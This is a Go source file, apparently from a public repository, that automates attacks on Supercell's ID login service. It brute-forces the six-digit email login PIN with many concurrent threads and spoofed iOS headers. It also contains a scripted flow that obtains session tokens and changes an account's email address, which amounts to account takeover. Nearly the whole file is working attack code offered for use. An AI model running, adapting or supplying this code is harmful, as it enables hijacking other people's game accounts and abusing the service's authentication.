-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
634 lines (469 loc) · 15.2 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
package main
import (
"bufio"
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/google/uuid"
)
type SupercellLoginRequestResponse struct {
Ok bool `json:"ok"`
Error *string `json:"error"`
}
type SupercellLoginValidateResponse struct {
Ok bool `json:"ok"`
Error *string `json:"error"`
Data *SupercellLoginValidateData `json:"data"`
}
type SupercellLoginValidateData struct {
Email string `json:"email"`
IsValid bool `json:"isValid"`
IsBound bool `json:"isBound"`
Application SupercellLoginValidateApplicationData `json:"application"`
System SupercellLoginValidateSystemData `json:"system"`
}
type SupercellLoginValidateApplicationData struct {
Application string `json:"application"`
Account string `json:"account"`
Username string `json:"username"`
Progress []string `json:"progress"`
}
type SupercellLoginValidateSystemData struct {
System string `json:"system"`
Account string `json:"account"`
Username string `json:"username"`
Progress []string `json:"progress"`
}
type SupercellLoginConfirmResponse struct {
Ok bool `json:"ok"`
Data *SupercellLoginConfirmResult `json:"data"`
Error *string `json:"error"`
}
type SupercellLoginConfirmResult struct {
Scid string `json:"scid"`
ScidToken string `json:"scidToken"`
Email string `json:"email"`
}
type SupercellPinAuthStartResponse struct {
Ok bool `json:"ok"`
Data *SupercellPinAuthStartResult `json:"data"`
Error *string `json:"error"`
}
type SupercellPinAuthStartResult struct {
Identifier SupercellPinAuthIdentifier `json:"identifier"`
State string `json:"state"`
}
type SupercellPinAuthIdentifier struct {
Value string `json:"value"`
Type string `json:"type"`
}
type SupercellLoginSessionResponse struct {
Ok bool `json:"ok"`
Token *string `json:"token"`
Error *string `json:"error"`
}
type SupercellPinAuthConfirmResponse struct {
Ok bool `json:"ok"`
Data *SupercellPinAuthConfirmResult `json:"data"`
Error *string `json:"error"`
}
type SupercellPinAuthConfirmResult struct {
Identifier SupercellPinAuthIdentifier `json:"identifier"`
Authentication SupercellPinAuthAuthentication `json:"authentication"`
}
type SupercellPinAuthAuthentication struct {
Token string `json:"token"`
Expiry int32 `json:"expiry"`
Scope string `json:"scope"`
}
type SupercellChangeIdentifierResponse struct {
Ok bool `json:"ok"`
Data *SupercellChangeIdentifierResult `json:"data"`
Error *string `json:"error"`
}
type SupercellChangeIdentifierResult struct {
NewIdentifier SupercellPinAuthIdentifier `json:"newIdentifier"`
}
type LoginResult struct {
Success bool
Error error
}
func main() {
writeLog("Initializing")
writePreQuestion("Email : ")
reader := bufio.NewReader(os.Stdin)
email, _ := reader.ReadString('\n')
email = strings.TrimSpace(email)
data := "email=" + url.QueryEscape(email) + "&lang=en&remember=true&game=laser&env=prod"
client := &http.Client{}
req, err := http.NewRequest("POST", "https://id.supercell.com/api/ingame/account/login", bytes.NewReader([]byte(data)))
if err != nil {
panic(err)
}
uuid := strings.ToUpper(uuid.NewString())
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
resp, err := client.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
panic(err)
}
if resp.StatusCode != 200 {
writeError("Request Error (" + resp.Status + ") : " + string(body))
}
var response SupercellLoginRequestResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
writeLog("Login request successful")
writeLog("")
writeLog("1. Manual Login")
writeLog("2. Perform Brute-force Attack")
writeLog("")
writePreQuestion("> ")
choice, err := reader.ReadString('\n')
choice = strings.TrimSpace(choice)
if err != nil {
panic(err)
}
attemptLogin := func(code string) (bool, error) {
data := "email=" + url.QueryEscape(email) + "&pin=" + code
req, err := http.NewRequest("POST", "https://id.supercell.com/api/ingame/account/login.validate", bytes.NewReader([]byte(data)))
if err != nil {
return false, err
}
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
resp, err = client.Do(req)
if err != nil {
return false, err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return false, err
}
if resp.StatusCode != 200 {
return false, errors.New(string(body))
}
var response SupercellLoginValidateResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return true, nil
}
return false, errors.New(*response.Error)
}
confirmLogin := func(code string) (*SupercellLoginConfirmResult, error) {
data := "email=" + url.QueryEscape(email) + "&pin=" + code
req, err := http.NewRequest("POST", "https://id.supercell.com/api/ingame/account/login.confirm", bytes.NewReader([]byte(data)))
if err != nil {
return nil, err
}
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
resp, err = client.Do(req)
if err != nil {
return nil, err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New(string(body))
}
var response SupercellLoginConfirmResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return response.Data, nil
}
return nil, errors.New(*response.Error)
}
loginSession := func(token string) (string, error) {
req, err := http.NewRequest("GET", "https://security.id.supercell.com/api/security/v1/sessionToken", bytes.NewReader([]byte("")))
if err != nil {
return "", err
}
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
req.Header.Set("Authorization", "Bearer "+token)
resp, err = client.Do(req)
if err != nil {
return "", err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
if resp.StatusCode != 200 {
return "", errors.New(string(body))
}
var response SupercellLoginSessionResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return *response.Token, nil
}
return "", errors.New(*response.Error)
}
pinAuthStart := func(scope string, email string, token string) (*SupercellPinAuthStartResult, error) {
data := "scope=" + url.QueryEscape(scope) + "&application=laser-prod&identifier=" + url.QueryEscape(email)
req, err := http.NewRequest("POST", "https://id.supercell.com/api/account/v2/pinAuthentication.start", bytes.NewReader([]byte(data)))
if err != nil {
return nil, err
}
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
resp, err = client.Do(req)
if err != nil {
return nil, err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New(string(body))
}
var response SupercellPinAuthStartResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return response.Data, nil
}
return nil, errors.New(*response.Error)
}
submitPinAuth := func(state string, pin string, token string) (*SupercellPinAuthConfirmResult, error) {
data := "state=" + url.QueryEscape(state) + "&code=" + pin
req, err := http.NewRequest("POST", "https://id.supercell.com/api/account/v2/pinAuthentication.complete", bytes.NewReader([]byte(data)))
if err != nil {
return nil, err
}
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
req.Header.Set("Authorization", "Bearer "+token)
resp, err = client.Do(req)
if err != nil {
return nil, err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New(string(body))
}
var response SupercellPinAuthConfirmResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return response.Data, nil
}
return nil, errors.New(*response.Error)
}
changeIdentify := func(pinToken string, newPinToken string) (*SupercellChangeIdentifierResult, error) {
data := "identifierLinkAuthenticationToken=" + url.QueryEscape(pinToken) + "&identifierChangeAuthenticationToken=" + url.QueryEscape(newPinToken)
req, err := http.NewRequest("POST", "https://id.supercell.com/api/account/v2/identifier.change", bytes.NewReader([]byte(data)))
if err != nil {
return nil, err
}
req.Header.Set("host", "id.supercell.com")
req.Header.Set("content-type", "application/x-www-form-urlencoded")
req.Header.Set("content-length", fmt.Sprintf("%d", len(data)))
req.Header.Set("user-agent", "scid/4527-i (iOS 17.4.1; laser-prod; iPhone13,1)")
req.Header.Set("x-supercell-device-id", uuid)
resp, err = client.Do(req)
if err != nil {
return nil, err
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New(string(body))
}
var response SupercellChangeIdentifierResponse
if err := json.Unmarshal(body, &response); err != nil {
panic(err)
}
if response.Ok {
return response.Data, nil
}
return nil, errors.New(*response.Error)
}
switch string(choice) {
case "1":
writeLog("You chose manual login.")
writePreQuestion("Code : ")
code, err := reader.ReadString('\n')
if err != nil {
panic(err)
}
success, err := attemptLogin(code)
if err != nil {
writeError("Login Error : " + err.Error())
return
}
if success {
writeLog("Successfully authenticated")
}
result, err := confirmLogin(code)
if err != nil {
writeError("Login confirm error : " + err.Error())
return
}
writeLog("Scid : " + result.Scid)
writeLog("Scid Token : " + result.ScidToken)
token, err := loginSession(result.ScidToken)
if err != nil {
writeError("Session login error : " + err.Error())
return
}
writeLog("Token : " + token)
pinResult, err := pinAuthStart("account/identifier.change", email, token)
state := pinResult.State
writeLog("State : " + state)
writePreQuestion("Code : ")
_pinCode, err := reader.ReadString('\n')
pinCode := strings.TrimSpace(_pinCode)
confirmResult, err := submitPinAuth(state, pinCode, token)
if err != nil {
writeError("Pin Confirm Error : " + err.Error())
return
}
pinToken := confirmResult.Authentication.Token
writeLog("Pin Auth Token : " + pinToken)
writePreQuestion("Enter New Mail : ")
_newMail, err := reader.ReadString('\n')
newMail := strings.TrimSpace(_newMail)
newPinResult, err := pinAuthStart("account/identifier.link", newMail, token)
if err != nil {
writeError("New Pin Auth Start Error : " + err.Error())
return
}
newState := newPinResult.State
writeLog("New Pin Auth State : " + newState)
writePreQuestion("New Pin Auth Code : ")
_newCode, err := reader.ReadString('\n')
newCode := strings.TrimSpace(_newCode)
newConfirmResult, err := submitPinAuth(newState, newCode, token)
if err != nil {
writeError("New Pin Auth Confirm Error : " + err.Error())
return
}
newPinToken := newConfirmResult.Authentication.Token
writeLog("New Pin Token : " + newPinToken)
writeLog("Changing Email Address...")
newIden, err := changeIdentify(pinToken, newPinToken)
if err != nil {
writeError("Change Identify Error : " + err.Error())
return
}
writeLog("Success : " + newIden.NewIdentifier.Value + " (" + newIden.NewIdentifier.Type + ")")
return
case "2":
writeLog("You chose brute-force attack.")
writePreQuestion("Threads : ")
_threads, err := reader.ReadString('\n')
if err != nil {
panic(err)
}
_threads = strings.TrimSpace(_threads)
threads, err := strconv.Atoi(_threads)
if err != nil {
panic(err)
}
var current int32 = 0
otp := make(chan string)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
var wg sync.WaitGroup
for i := 0; i < threads; i++ {
go func(code string) {
defer wg.Done()
for {
select {
case <-ctx.Done():
return
default:
code := fmt.Sprintf("%06d", atomic.AddInt32(¤t, 1)-1)
success, err := attemptLogin(code)
if err != nil {
writeError("Error : " + err.Error() + " (" + code + ")")
continue
}
if success {
otp <- code
cancel()
return
}
}
}
}(fmt.Sprintf("%06d", current))
current++
}
select {
case code := <-otp:
writeLog("Received OTP : " + code)
case <-ctx.Done():
writeLog("No successful login attempt was completed.")
}
break
default:
writeError("Invalid option.")
break
}
} else {
writeError("Login request failed : " + *response.Error)
}
}
func writePreQuestion(question string) {
fmt.Printf("\033[38;2;223;223;223m[%s]\033[0m \033[38;2;69;69;69m%s\033[0m", time.Now().Format("3:04:05 PM"), question)
}
func writeError(log string) {
fmt.Printf("\033[38;2;206;59;33m[%s]\033[0m \033[38;2;69;69;69m%s\033[0m\n", time.Now().Format("3:04:05 PM"), log)
}
func writeLog(log string) {
fmt.Printf("\033[38;2;223;223;223m[%s]\033[0m \033[38;2;69;69;69m%s\033[0m\n", time.Now().Format("3:04:05 PM"), log)
}